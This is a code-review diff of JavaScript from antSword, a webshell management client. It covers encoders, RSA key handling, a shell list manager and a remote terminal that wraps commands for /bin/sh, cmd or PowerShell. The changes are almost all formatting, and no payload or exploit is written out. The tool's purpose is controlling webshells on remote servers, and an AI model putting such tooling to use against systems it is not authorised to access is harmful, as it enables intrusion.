......@@ -349,16 +346,14 @@ class Encoders {
let toolbar = _win
.win
.attachToolbar();
toolbar.loadStruct([
{
toolbar.loadStruct([{
id: 'save',
type: 'button',
icon: 'save',
text: LANG["toolbar"]['save']
}, {
type: 'separator'
}
]);
}]);
toolbar.attachEvent('onClick', (id) => {
if (id === 'save') {
// 保存代码
......@@ -387,7 +382,13 @@ class Encoders {
editor
.session
.setWrapLimitRange(null, null);
editor.setOptions({tabSize: 2, fontSize: '14px', enableBasicAutocompletion: true, enableSnippets: true, enableLiveAutocompletion: true});
editor.setOptions({
tabSize: 2,
fontSize: '14px',
enableBasicAutocompletion: true,
enableSnippets: true,
enableLiveAutocompletion: true
});
// 编辑器快捷键
editor
.commands
......@@ -422,7 +423,9 @@ class Encoders {
// 生成 RSA
generateRsaKey(bit = 1024) {
const key = new NodeRSA({b: bit});
const key = new NodeRSA({
b: bit
});
let pubKey = key.exportKey('pkcs8-public-pem');
let priKey = key.exportKey('pkcs1-private-pem');
let keyPath = this.rsa.keyPath;
......@@ -442,12 +445,12 @@ class Encoders {
// 重新读取 RSA
reloadRsa() {
let keyPath = this.rsa.keyPath;
let pubKey = fs.existsSync(keyPath.pub)
? fs.readFileSync(keyPath.pub)
: '';
let priKey = fs.existsSync(keyPath.pri)
? fs.readFileSync(keyPath.pri)
: '';
let pubKey = fs.existsSync(keyPath.pub) ?
fs.readFileSync(keyPath.pub) :
'';
let priKey = fs.existsSync(keyPath.pri) ?
fs.readFileSync(keyPath.pri) :
'';
this
.rsa
.form
......@@ -494,14 +497,12 @@ eval($cmd);`);
.win
.attachForm();
self.rsa.form = form;
toolbar.loadStruct([
{
toolbar.loadStruct([{
id: 'generate',
type: 'button',
icon: 'repeat',
text: LANG["toolbar"]['generate']
}
]);
}]);
toolbar.attachEvent('onClick', (id) => {
if (id === 'generate') {
if (fs.existsSync(self.rsa.keyPath.pub) && fs.existsSync(self.rsa.keyPath.pri)) {
......@@ -518,8 +519,7 @@ eval($cmd);`);
}
}
});
form.loadStruct([
{
form.loadStruct([{
type: "settings",
labelWidth: 750,
inputWidth: 750,
......@@ -530,8 +530,7 @@ eval($cmd);`);
type: 'block',
inputWidth: 'auto',
offsetTop: 20,
list: [
{
list: [{
type: 'input',
label: LANG['form']['public_key'],
name: 'public_key',
......@@ -549,10 +548,8 @@ eval($cmd);`);
name: 'php_code',
rows: 20,
value: ''
}
]
}
], true);
}]
}], true);
self.reloadRsa();
}
......@@ -760,17 +757,17 @@ module.exports = {
};
let userencoder_path = path.join(remote.process.env.AS_WORKDIR, 'antData/encoders');
// 初始化
!fs.existsSync(userencoder_path)
? fs.mkdirSync(userencoder_path)
: null;
!fs.existsSync(userencoder_path) ?
fs.mkdirSync(userencoder_path) :
null;
['asp', 'aspx', 'php', 'custom'].map((t) => {
!fs.existsSync(path.join(userencoder_path, `${t}`))
? fs.mkdirSync(path.join(userencoder_path, `${t}`))
: null;
!fs.existsSync(path.join(userencoder_path, `${t}`)) ?
fs.mkdirSync(path.join(userencoder_path, `${t}`)) :
null;
let t_path = path.join(userencoder_path, `${t}/encoder/`);
!fs.existsSync(t_path)
? fs.mkdirSync(t_path)
: null;
!fs.existsSync(t_path) ?
fs.mkdirSync(t_path) :
null;
let es = fs.readdirSync(t_path);
if (es) {
......@@ -807,17 +804,17 @@ module.exports = {
};
let userdecoder_path = path.join(remote.process.env.AS_WORKDIR, 'antData/encoders');
// 初始化
!fs.existsSync(userdecoder_path)
? fs.mkdirSync(userdecoder_path)
: null;
!fs.existsSync(userdecoder_path) ?
fs.mkdirSync(userdecoder_path) :
null;
['asp', 'aspx', 'php', 'custom'].map((t) => {
!fs.existsSync(path.join(userdecoder_path, `${t}`))
? fs.mkdirSync(path.join(userdecoder_path, `${t}`))
: null;
!fs.existsSync(path.join(userdecoder_path, `${t}`)) ?
fs.mkdirSync(path.join(userdecoder_path, `${t}`)) :
null;
let t_path = path.join(userdecoder_path, `${t}/decoder/`);
!fs.existsSync(t_path)
? fs.mkdirSync(t_path)
: null;
!fs.existsSync(t_path) ?
fs.mkdirSync(t_path) :
null;
let es = fs.readdirSync(t_path);
if (es) {
......
......@@ -40,7 +40,10 @@ class Settings {
tabbar.addTab('tab_about', '<i class="fa fa-cog"></i>', null, null, true, true);
const cell = tabbar.tabs('tab_about');
const sidebar = cell.attachSidebar({template: 'text', width: 200});
const sidebar = cell.attachSidebar({
template: 'text',
width: 200
});
this.about = new About(sidebar);
this.language = new Language(sidebar);
// this.update = new Update(sidebar);
......
......@@ -8,26 +8,26 @@ const LANG_T = antSword['language']['toastr'];
class Language {
constructor(sidebar) {
sidebar.addItem({id: 'language', text: `<i class="fa fa-language"></i> ${LANG['title']}`});
sidebar.addItem({
id: 'language',
text: `<i class="fa fa-language"></i> ${LANG['title']}`
});
const cell = sidebar.cells('language');
// 工具栏
const toolbar = cell.attachToolbar();
toolbar.loadStruct([
{
toolbar.loadStruct([{
id: 'save',
type: 'button',
text: LANG['toolbar']['save'],
icon: 'save'
}, {
type: 'separator'
}
]);
}]);
// 表单
const _language = antSword['storage']('language', false, 'en');
const form = cell.attachForm([
{
const form = cell.attachForm([{
type: 'settings',
position: 'label-left',
labelWidth: 100,
......@@ -36,8 +36,7 @@ class Language {
type: 'block',
inputWidth: 'auto',
offsetTop: 12,
list: [
{
list: [{
type: 'combo',
label: LANG['form']['label'],
readonly: true,
......@@ -45,17 +44,16 @@ class Language {
options: (() => {
let _ = [];
for (let l in antSword['language']['__languages__']) {
_.push({text: antSword['language']['__languages__'][l],
_.push({
text: antSword['language']['__languages__'][l],
value: l,
selected: _language === l
});
}
return _;
})()
}
]
}
], true);
}]
}], true);
// 工具栏点击事件
toolbar.attachEvent('onClick', (id) => {
......
......@@ -7,13 +7,15 @@ const LANG_T = antSword['language']['toastr'];
class Update {
constructor(sidebar) {
sidebar.addItem({id: 'update', text: `<i class="fa fa-cloud-download"></i> ${LANG['title']}`});
sidebar.addItem({
id: 'update',
text: `<i class="fa fa-cloud-download"></i> ${LANG['title']}`
});
const cell = sidebar.cells('update');
// 初始化toolbar
const toolbar = cell.attachToolbar();
toolbar.loadStruct([
{
toolbar.loadStruct([{
id: 'check',
type: 'button',
// 调试或者windows平台不支持更新
......@@ -22,8 +24,7 @@ class Update {
icon: 'check-square-o'
}, {
type: 'separator'
}
]);
}]);
// toolbar点击事件
toolbar.attachEvent('onClick', (id) => {
......@@ -59,9 +60,9 @@ class Update {
let info = ret['retVal'];
// 木有更新
if (!ret['hasUpdate']) {
return typeof info === 'string'
? toastr.error(LANG['check']['fail'](info), LANG_T['error'])
: toastr.info(LANG['check']['none'](info['version']), LANG_T['info']);
return typeof info === 'string' ?
toastr.error(LANG['check']['fail'](info), LANG_T['error']) :
toastr.info(LANG['check']['none'](info['version']), LANG_T['info']);
}
// 发现更新
toastr.success(LANG['check']['found'](info['version']), LANG_T['success']);
......@@ -121,7 +122,8 @@ class Update {
}
});
}).send('update-check', {local_ver: antSword['package']['version']
}).send('update-check', {
local_ver: antSword['package']['version']
});
}
......
......@@ -13,10 +13,14 @@ class Sidebar {
*/
constructor(cell, top) {
this.top = top;
const sidebar = cell.attachSidebar({template: 'text', width: 222});
const sidebar = cell.attachSidebar({
template: 'text',
width: 222
});
// 默认分类
sidebar.addItem({
id: 'default', bubble: 0,
id: 'default',
bubble: 0,
// selected: true,
text: `<i class="fa fa-folder-o"></i> ${LANG['default']}</i>`
});
......@@ -34,15 +38,17 @@ class Sidebar {
_onSelect(id) {
// 更新工具栏按钮状态
['del', 'rename'].map((_) => {
this.top.toolbar[id === 'default'
? 'disableItem'
: 'enableItem'](_)
this.top.toolbar[id === 'default' ?
'disableItem' :
'enableItem'](_)
});
// 重新加载数据
this
.top
.top
.reloadData({category: id});
.reloadData({
category: id
});
}
}
......
......@@ -41,7 +41,9 @@ class Toolbar {
].map((_) => {
// 分隔符
if (!_) {
return _tbObj.push({type: 'separator'})
return _tbObj.push({
type: 'separator'
})
}
let _tb = {
id: _[0],
......@@ -95,7 +97,7 @@ class Toolbar {
layer.close(_);
// 1. 删除分类数据
const ret = antSword['ipcRenderer'].sendSync('shell-clear', category);
if (typeof(ret) === 'number') {
if (typeof (ret) === 'number') {
toastr.success(LANG['del']['success'](category), LANG_T['success']);
// 2. 跳转到默认分类
this
......@@ -166,7 +168,11 @@ class Toolbar {
this
.top
.sidebar
.addItem({id: v, bubble: ret, text: `<i class="fa fa-folder-o"></i> ${v}`});
.addItem({
id: v,
bubble: ret,
text: `<i class="fa fa-folder-o"></i> ${v}`
});
// 跳转分类
setTimeout(() => {
this
......
......@@ -39,9 +39,12 @@ module.exports = {
if ((arg instanceof Object) && arg['category'] && !category[arg['category']]) {
category[arg['category']] = 0;
};
if (typeof(category['default']) === 'object') {
if (typeof (category['default']) === 'object') {
category['default'] = 0;
};
return {data: data, category: category}
return {
data: data,
category: category
}
}
}
\ No newline at end of file
......@@ -62,8 +62,7 @@ class ShellManager {
var searchObj = {};
switch (sdata['searchtype']) {
case 'all':
searchObj["$or"] = [
{
searchObj["$or"] = [{
"url": {
$regex: sdata['searchtext']
}
......@@ -75,8 +74,7 @@ class ShellManager {
"note": {
$regex: sdata['searchtext']
}
}
];
}];
break;
default:
searchObj[sdata['searchtype']] = {
......@@ -140,8 +138,7 @@ class ShellManager {
initSearchUI() {
let that = this;
let searchPop = new dhtmlXPopup();
let formData = [
{
let formData = [{
type: "settings",
position: "label-left",
labelWidth: 80,
......@@ -149,8 +146,7 @@ class ShellManager {
}, {
type: "combo",
name: 'searchtype',
options: [
{
options: [{
text: "All",
value: "all",
selected: true
......@@ -163,16 +159,14 @@ class ShellManager {
}, {
text: "Remark",
value: "note"
}
]
}]
}, {
type: 'newcolumn',
offset: 20
}, {
type: "input",
name: "searchtext"
}
];
}];
searchPop.attachEvent("onShow", function () {
if (that.searchForm == null) {
that.searchForm = searchPop.attachForm(formData);
......
......@@ -114,7 +114,9 @@ class ContextMenu {
].map((menu) => {
// 分隔符号
if (!menu) {
return menuItems.push({divider: true})
return menuItems.push({
divider: true
})
}
let menuObj = {
text: LANG['contextmenu'][menu[0]],
......@@ -122,7 +124,7 @@ class ContextMenu {
disabled: menu[2]
}
// 点击事件
if (menu[3]instanceof Function) {
if (menu[3] instanceof Function) {
menuObj['action'] = menu[3];
}
// 子菜单
......@@ -157,9 +159,9 @@ class ContextMenu {
for (let _ in plugins) {
// 0x01 添加分类目录
pluginItems.push({
text: antSword.noxss(_ === 'default'
? LANG['contextmenu']['pluginDefault']
: _),
text: antSword.noxss(_ === 'default' ?
LANG['contextmenu']['pluginDefault'] :
_),
icon: 'fa fa-folder-open-o',
disabled: plugins[_].length === 0,
subMenu: ((plugs) => {
......@@ -169,8 +171,8 @@ class ContextMenu {
plugItems.push({
text: antSword.noxss(p['info']['name']),
icon: `fa fa-${p['info']['icon'] || 'puzzle-piece'}`,
disabled: infos.length > 1
? (() => {
disabled: infos.length > 1 ?
(() => {
let ret = false;
// 判断脚本是否支持,不支持则禁止
if (p['info']['scripts'] && p['info']['scripts'].length > 0) {
......@@ -183,17 +185,17 @@ class ContextMenu {
}
// 判断是否支持多目标执行
return ret || !p['info']['multiple'];
})()
: info && (p['info']['scripts'] || []).indexOf(info['type']) === -1,
})() :
info && (p['info']['scripts'] || []).indexOf(info['type']) === -1,
action: ((plug) => () => {
// 如果没有加载到内存,则加载
if (!antSword['plugins'][plug['_id']]['module']) {
antSword['plugins'][plug['_id']]['module'] = require(path.join(plug['path'], plug['info']['main'] || 'index.js'));
}
// 执行插件
new antSword['plugins'][plug['_id']]['module'](infos.length === 1 && !plug['info']['multiple']
? info
: infos);
new antSword['plugins'][plug['_id']]['module'](infos.length === 1 && !plug['info']['multiple'] ?
info :
infos);
})(p)
})
});
......@@ -229,7 +231,7 @@ class ContextMenu {
ids: ids,
category: c
});
if (typeof(ret) === 'number') {
if (typeof (ret) === 'number') {
toastr.success(LANG['list']['move']['success'](ret), LANG_T['success']);
antSword
.modules
......@@ -249,9 +251,9 @@ class ContextMenu {
let ret = [];
items.map((_) => {
ret.push({
text: _ === 'default'
? LANG['category']['default']
: _,
text: _ === 'default' ?
LANG['category']['default'] :
_,
icon: 'fa fa-folder-o',
disabled: category === _,
action: moveHandler.bind(null, _)
......@@ -277,7 +279,8 @@ class ContextMenu {
},
otherConf: shellmanager_setting.others || {}
};
new Form({title: LANG['list']['add']['title'],
new Form({
title: LANG['list']['add']['title'],
icon: 'plus-circle',
text: LANG['list']['add']['toolbar']['add']
}, args, (data) => {
......@@ -298,7 +301,8 @@ class ContextMenu {
antSword
.modules
.shellmanager
.reloadData({category: data['base']['category']
.reloadData({
category: data['base']['category']
});
return res(LANG['list']['add']['success']);
} else {
......@@ -314,7 +318,8 @@ class ContextMenu {
* @return {[type]} [description]
*/
editData(info) {
new Form({title: LANG['list']['edit']['title'](info.url),
new Form({
title: LANG['list']['edit']['title'](info.url),
icon: 'save',
text: LANG['list']['edit']['toolbar']['save']
}, info, (data) => {
......@@ -331,7 +336,9 @@ class ContextMenu {
antSword
.modules
.shellmanager
.reloadData({category: info['category']});
.reloadData({
category: info['category']
});
return res(LANG['list']['edit']['success']);
} else {
return rej(LANG['list']['edit']['error'](ret.toString()));
......@@ -353,7 +360,7 @@ class ContextMenu {
}, (_) => {
layer.close(_);
const ret = antSword['ipcRenderer'].sendSync('shell-del', ids);
if (typeof(ret) === 'number') {
if (typeof (ret) === 'number') {
toastr.success(LANG['list']['del']['success'](ret), LANG_T['success']);
// 更新UI
antSword
......@@ -400,7 +407,8 @@ class ContextMenu {
antSword
.modules
.shellmanager
.reloadData({category: data['base']['category']
.reloadData({
category: data['base']['category']
});
toastr.success(LANG['list']['add']['success']);
} else {
......@@ -432,13 +440,15 @@ class ContextMenu {
title: `<i class="fa fa-trash"></i> ${LANG['list']['clearCache']['title']}`
}, (_) => {
layer.close(_);
const ret = antSword['ipcRenderer'].sendSync('cache-clear', {id: id});
const ret = antSword['ipcRenderer'].sendSync('cache-clear', {
id: id
});
if (ret === true) {
toastr.success(LANG['list']['clearCache']['success'], LANG_T['success']);
} else {
toastr.error(LANG['list']['clearCache']['error'](ret['errno'] === -2
? 'Not cache file.'
: ret['errno']), LANG_T['error']);
toastr.error(LANG['list']['clearCache']['error'](ret['errno'] === -2 ?
'Not cache file.' :
ret['errno']), LANG_T['error']);
}
});
}
......
......@@ -136,8 +136,7 @@ class Form {
*/
_createToolbar(win, opt) {
const toolbar = win.attachToolbar();
toolbar.loadStruct([
{
toolbar.loadStruct([{
id: 'act',
type: 'button',
icon: opt['icon'],
......@@ -156,8 +155,7 @@ class Form {
type: 'button',
'icon': 'spinner',
text: LANG['list']['add']['toolbar']['test']
}
]);
}]);
return toolbar;
}
......@@ -168,8 +166,7 @@ class Form {
*/
_createAccordion(win) {
const accordion = win.attachAccordion({
items: [
{
items: [{
id: 'base',
text: `<i class="fa fa-file-text"></i> ${LANG['list']['accordion']['base']}`
}, {
......@@ -178,8 +175,7 @@ class Form {
}, {
id: 'other',
text: `<i class="fa fa-cogs"></i> ${LANG['list']['accordion']['other']}`
}
]
}]
});
return accordion;
}
......@@ -202,8 +198,7 @@ class Form {
const form = this
.accordion
.cells('base')
.attachForm([
{
.attachForm([{
type: 'settings',
position: 'label-left',
labelWidth: 80,
......@@ -212,8 +207,7 @@ class Form {
type: 'block',
inputWidth: 'auto',
offsetTop: 12,
list: [
{
list: [{
type: 'input',
label: LANG['list']['add']['form']['url'],
name: 'url',
......@@ -242,10 +236,8 @@ class Form {
name: 'type',
readonly: true,
options: this._parseTypes(opt.type, opt.encoder, opt.decoder)
}
]
}
], true);
}]
}], true);
form.attachEvent('onChange', (_, id) => {
// 根据后缀自动修改 shell 类型
......@@ -346,8 +338,7 @@ class Form {
value: c,
selected: c === _default,
list: ((c) => {
let _ = [
{
let _ = [{
type: 'settings',
position: 'label-right',
offsetLeft: 60,
......@@ -361,10 +352,13 @@ class Form {
value: 'default',
label: `default\t(${LANG['list']['not_recommended']})`,
checked: true
}
];
}];
if (c !== 'custom') {
_.push({type: 'radio', name: `encoder_${c}`, value: 'random', label: `random\t(${LANG['list']['not_recommended']})`,
_.push({
type: 'radio',
name: `encoder_${c}`,
value: 'random',
label: `random\t(${LANG['list']['not_recommended']})`,
checked: _encoder === 'random'
});
}
......@@ -378,7 +372,9 @@ class Form {
})
});
_.push({type: 'label', label: LANG['list']['add']['form']['decoder']
_.push({
type: 'label',
label: LANG['list']['add']['form']['decoder']
});
decoders.map((e) => {
_.push({
......@@ -416,7 +412,8 @@ class Form {
};
// 提取需要的http数据
let [headers,
bodys] = [{}, {}];
bodys
] = [{}, {}];
for (let _ in http) {
if (_.endsWith('value') || !http[_]) {
continue
......@@ -460,8 +457,7 @@ class Form {
const form = this
.accordion
.cells('other')
.attachForm([
{
.attachForm([{
type: 'settings',
position: 'label-right',
inputWidth: 400
......@@ -469,8 +465,7 @@ class Form {
type: 'block',
inputWidth: 'auto',
offsetTop: 12,
list: [
{
list: [{
type: "checkbox",
name: 'ignore-https',
label: LANG['list']['otherConf']['nohttps'],
......@@ -484,23 +479,19 @@ class Form {
type: 'fieldset',
offsetLeft: 0,
label: LANG['list']['otherConf']['chunk']['title'],
list: [
{
list: [{
type: 'block',
offsetLeft: 0,
list: [
{
list: [{
type: "checkbox",
name: 'use-chunk',
label: LANG['list']['otherConf']['chunk']['usechunk'],
checked: opt['use-chunk'] === 1
}
]
}]
}, {
type: 'block',
offsetLeft: 0,
list: [
{
list: [{
type: 'label',
label: LANG['list']['otherConf']['chunk']['min']
}, {
......@@ -569,10 +560,8 @@ class Form {
'100',
'500'
])
}
]
}
]
}]
}]
}, {
type: "checkbox",
name: 'terminal-cache',
......@@ -658,10 +647,8 @@ class Form {
});
return ret;
})(['/bin/sh', 'cmd'])
}
]
}
], true);
}]
}], true);
form.attachEvent('onChange', (name, value, state) => {
switch (name) {
case 'use-multipart':
......@@ -674,7 +661,9 @@ class Form {
form.uncheckItem('use-multipart');
}
if (state == true) {
layer.open({title: LANG_T['info'], content: LANG['list']['otherConf']['chunk']['exphint']
layer.open({
title: LANG_T['info'],
content: LANG['list']['otherConf']['chunk']['exphint']
});
}
break;
......@@ -700,8 +689,7 @@ class Form {
.cells('http');
// 创建toolbar,用于添加数据
const toolbar = cell.attachToolbar();
toolbar.loadStruct([
{
toolbar.loadStruct([{
id: 'add-header',
type: 'button',
icon: 'plus-square-o',
......@@ -713,34 +701,27 @@ class Form {
type: 'button',
icon: 'plus-square-o',
text: 'Body'
}
]);
}]);
// 创建表单
const form = cell.attachForm([
{
const form = cell.attachForm([{
type: 'block',
inputWidth: 'auto',
offsetTop: 12,
name: 'header',
list: [
{
list: [{
type: "label",
label: "HTTP HEADERS"
}
]
}]
}, {
type: 'block',
inputWidth: 'auto',
offsetTop: 12,
name: 'body',
list: [
{
list: [{
type: "label",
label: "HTTP BODY"
}
]
}
], true);
}]
}], true);
// 添加Header
let _headerCount = 0;
const _addHeader = (name = '', value = '') => {
......@@ -749,8 +730,7 @@ class Form {
type: "fieldset",
label: `#${_headerCount}`,
inputWidth: 480,
list: [
{
list: [{
type: "input",
name: `header-${_headerCount}_name`,
inputWidth: 350,
......@@ -764,8 +744,7 @@ class Form {
labelWidth: 50,
label: "Value",
value: value
}
]
}]
})
}
// 添加Body
......@@ -776,8 +755,7 @@ class Form {
type: "fieldset",
label: `#${_bodyCount}`,
inputWidth: 480,
list: [
{
list: [{
type: "input",
name: `body-${_bodyCount}_name`,
inputWidth: 350,
......@@ -791,8 +769,7 @@ class Form {
labelWidth: 50,
label: "Value",
value: value
}
]
}]
})
}
// 监听toolbar事件
......
......@@ -31,9 +31,9 @@ class Grid {
grid.setColAlign("left,left,left,left,center,center");
grid.enableMultiselect(true);
// 根据设置隐藏相应的列
const dis_smhc = localStorage.hasOwnProperty('display_shellmanager_hiddencolumns')
? JSON.parse(localStorage.display_shellmanager_hiddencolumns)
: [];
const dis_smhc = localStorage.hasOwnProperty('display_shellmanager_hiddencolumns') ?
JSON.parse(localStorage.display_shellmanager_hiddencolumns) :
[];
dis_smhc.map((_) => {
grid.setColumnHidden(_, true)
});
......
......@@ -19,11 +19,11 @@ class Terminal {
if (id !== `tab_terminal_${hash}`) {
return
};
this.term
? this
this.term ?
this
.term
.focus()
: 0;
.focus() :
0;
});
// 初始化UI::cell
const cell = tabbar.cells(`tab_terminal_${hash}`);
......@@ -63,9 +63,9 @@ class Terminal {
}
})
.catch((err) => {
toastr.error((typeof(err) === 'object')
? JSON.stringify(err)
: String(err), LANG_T['error']);
toastr.error((typeof (err) === 'object') ?
JSON.stringify(err) :
String(err), LANG_T['error']);
this
.cell
.progressOff();
......@@ -89,7 +89,10 @@ class Terminal {
.get('info');
// 如果有缓存?初始化终端:获取信息&&保存缓存&&初始化终端
if (infoCache) {
return ret({dom: dom, info: infoCache});
return ret({
dom: dom,
info: infoCache
});
}
// 开始获取信息
this
......@@ -105,7 +108,10 @@ class Terminal {
this
.cache
.set('info', _ret['text']);
return ret({dom: dom, info: _ret['text']});
return ret({
dom: dom,
info: _ret['text']
});
})
.catch((e) => {
rej(e);
......@@ -204,7 +210,9 @@ class Terminal {
}
this
.core
.request(this.core.command.listcmd({binarr: binarr}))
.request(this.core.command.listcmd({
binarr: binarr
}))
.then((ret) => {
let res = ret['text'];
if (res.indexOf("ERROR://") > -1) {
......@@ -216,9 +224,9 @@ class Terminal {
.map((v) => {
var line = v.split('\t');
if (line.length == 2) {
var r = parseInt(line[1]) === 1
? '[[b;#15af63;]OK]'
: '[[b;#E80000;]FAIL]';
var r = parseInt(line[1]) === 1 ?
'[[b;#15af63;]OK]' :
'[[b;#E80000;]FAIL]';
result += `${line[0]}\t\t\t${r}\n`;
}
});
......@@ -269,9 +277,9 @@ class Terminal {
return term.resume();
};
// 获取自定义执行路径
let _bin = this.isWin
? 'cmd'
: '/bin/sh';
let _bin = this.isWin ?
'cmd' :
'/bin/sh';
let _confBin = (this.opts['otherConf'] || {})['command-path'];
_bin = _confBin || _bin;
if (self.sessbin !== null) {
......@@ -347,50 +355,11 @@ class Terminal {
exit: false,
// < 1.0.0 时使用3个参数 completion: (term, value, callback) => {}
completion: (value, callback) => {
callback([
'ashelp',
'ascmd',
'aslistcmd',
'aspowershell',
'quit',
'exit'
].concat(this.isWin
? [
'dir',
'whoami',
'net',
'ipconfig',
'netstat',
'cls',
'wscript',
'nslookup',
'copy',
'del',
'ren',
'md',
'type',
'ping'
]
: [
'cd',
'ls',
'find',
'cp',
'mv',
'rm',
'ps',
'kill',
'file',
'tar',
'cat',
'chown',
'chmod',
'pwd',
'history',
'whoami',
'ifconfig',
'clear',
'ping'
callback(['ashelp', 'ascmd', 'aslistcmd', 'aspowershell', 'quit', 'exit'].concat(
this.isWin ? [
'dir', 'whoami', 'net', 'ipconfig', 'netstat', 'cls', 'wscript', 'nslookup', 'copy', 'del', 'ren', 'md', 'type', 'ping'
] : [
'cd', 'ls', 'find', 'cp', 'mv', 'rm', 'ps', 'kill', 'file', 'tar', 'cat', 'chown', 'chmod', 'pwd', 'history', 'whoami', 'ifconfig', 'clear', 'ping'
]))
},
keydown: (event, terminal) => {
......@@ -443,11 +412,11 @@ class Terminal {
.replace(/\\\\/g, '\\')
.replace(/"/g, '\\"')
.replace(/\\/g, '\\\\');
return (this.isWin
? this.isPowershell
? `cd "${path}";${cmd};echo [S];(pwd).path;echo [E]`
: `cd /d "${path}"&${cmd}&echo [S]&cd&echo [E]`
: `cd "${path}";${cmd};echo [S];pwd;echo [E]`);
return (this.isWin ?
this.isPowershell ?
`cd "${path}";${cmd};echo [S];(pwd).path;echo [E]` :
`cd /d "${path}"&${cmd}&echo [S]&cd&echo [E]` :
`cd "${path}";${cmd};echo [S];pwd;echo [E]`);
}
/**
......@@ -456,11 +425,11 @@ class Terminal {
* @return {String} term输出字符串
*/
parsePrompt(user) {
return antSword.noxss(this.isWin
? `[[b;white;]${this.path.replace(/\//g, '\\')}> ]`
: (user
? `([[b;#E80000;]${user}]:[[;#0F93D2;]`
: '[[;0F93D2;]') + this.path + ']) $ ');
return antSword.noxss(this.isWin ?
`[[b;white;]${this.path.replace(/\//g, '\\')}> ]` :
(user ?
`([[b;#E80000;]${user}]:[[;#0F93D2;]` :
'[[;0F93D2;]') + this.path + ']) $ ');
}
}
......
......@@ -49,8 +49,7 @@ class ViewSite {
const toolbar = this
.cell
.attachToolbar();
toolbar.loadStruct([
{
toolbar.loadStruct([{
id: 'url',
width: 400,
type: 'buttonInput',
......@@ -78,8 +77,7 @@ class ViewSite {
type: 'button',
icon: 'save',
text: LANG['toolbar'].save
}
]);
}]);
toolbar.attachEvent('onStateChange', (id, state) => {
switch (id) {
case 'useproxy':
......@@ -138,23 +136,25 @@ class ViewSite {
*/
_refreshCookie() {
CookieMgr
.get({url: this.opts['url']})
.get({
url: this.opts['url']
})
.then((cookie) => {
let data = [];
cookie.map((c, i) => {
data.push({
id: i + 1,
data: [
c.name, c.value, c.domain, c.path, c.session
? 'Session'
: new Date(c.expirationDate).toUTCString(),
c.name, c.value, c.domain, c.path, c.session ?
'Session' :
new Date(c.expirationDate).toUTCString(),
c.name.length + c.value.length,
c.httpOnly
? 'httpOnly'
: '',
c.secure
? 'Secure'
: ''
c.httpOnly ?
'httpOnly' :
'',
c.secure ?
'Secure' :
''
]
});
});
......@@ -176,13 +176,17 @@ class ViewSite {
*/
_saveCookie() {
CookieMgr
.getStr({url: this.opts.url})
.getStr({
url: this.opts.url
})
.then((cookie) => {
// 1. 获取旧数据
const oldHttpConf = (antSword.ipcRenderer.sendSync('shell-findOne', this.opts._id).httpConf || {});
// 2. 添加新数据(cookie)
const httpConf = Object.assign({}, oldHttpConf, {
headers: Object.assign({}, oldHttpConf.headers || {}, {Cookie: cookie})
headers: Object.assign({}, oldHttpConf.headers || {}, {
Cookie: cookie
})
})
// 3. 更新数据
const ret = antSword
......
......@@ -11,7 +11,7 @@
class Tabbar {
constructor(opts) {
// 生成一个随机ID,用于指定唯一的面板
let id = 'tabbar_' + (Math.random() * + new Date)
let id = 'tabbar_' + (Math.random() * +new Date)
.toString(16)
.replace('.', '')
.substr(0, 11);
......@@ -86,9 +86,9 @@ class Tabbar {
* @return {Object} this
*/
showLoading(loading = true) {
this.cell[loading
? 'progressOn'
: 'progressOff']();
this.cell[loading ?
'progressOn' :
'progressOff']();
return this;
}
}
......
......@@ -16,13 +16,15 @@ class Window {
*/
constructor(opts) {
// 生成一个随机ID,用于指定唯一的窗口
let id = 'win_' + (Math.random() * + new Date)
let id = 'win_' + (Math.random() * +new Date)
.toString(16)
.replace('.', '')
.substr(0, 11);
// 默认配置
let opt = $.extend({
title: id, width: 500, height: 400,
title: id,
width: 500,
height: 400,
// 在那个dom内显示
view: document.body
}, opts);
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment